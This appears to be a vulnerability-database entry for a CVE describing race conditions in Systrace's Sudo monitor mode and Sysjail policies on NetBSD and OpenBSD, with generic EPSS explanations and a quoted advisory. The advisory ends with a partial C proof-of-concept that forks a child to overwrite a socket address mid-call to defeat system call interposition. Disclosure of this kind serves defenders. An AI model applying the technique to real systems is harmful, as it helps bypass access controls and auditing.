CVE Descriptions

Multiple race conditions in the (1) Sudo monitor mode and (2) Sysjail policies in Systrace on NetBSD and OpenBSD allow local users to defeat system call interposition, and consequently bypass access control policy and auditing.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/25258/info Systrace is prone to multiple concurrency vulnerabilities due to its implementation of system call wrappers. This problem can result in a race condition between a user thread and the kernel. Attackers can exploit these issues by replacing certain values in system call wrappers with malicious data to elevate privileges or to bypass auditing. Successful attacks can completely compromise affected computers. struct sockaddr_in *sa, restoresa; /* Set up two addresses with INADDR_ANY. */ sa = fork_malloc(sizeof(*sa)); sa->sin_len = sizeof(*sa); sa->sin_family = AF_INET; sa->sin_addr.s_addr = INADDR_ANY; sa->sin_port = htons(8888); restoresa = *sa; /* Create child to overwrite *sa after 500k cycles. */ pid = fork_and_overwrite_smp_afterwait(sa, &restoresa, sizeof(restoresa), 500000); error = bind(sock, sa, sizeof(*sa));
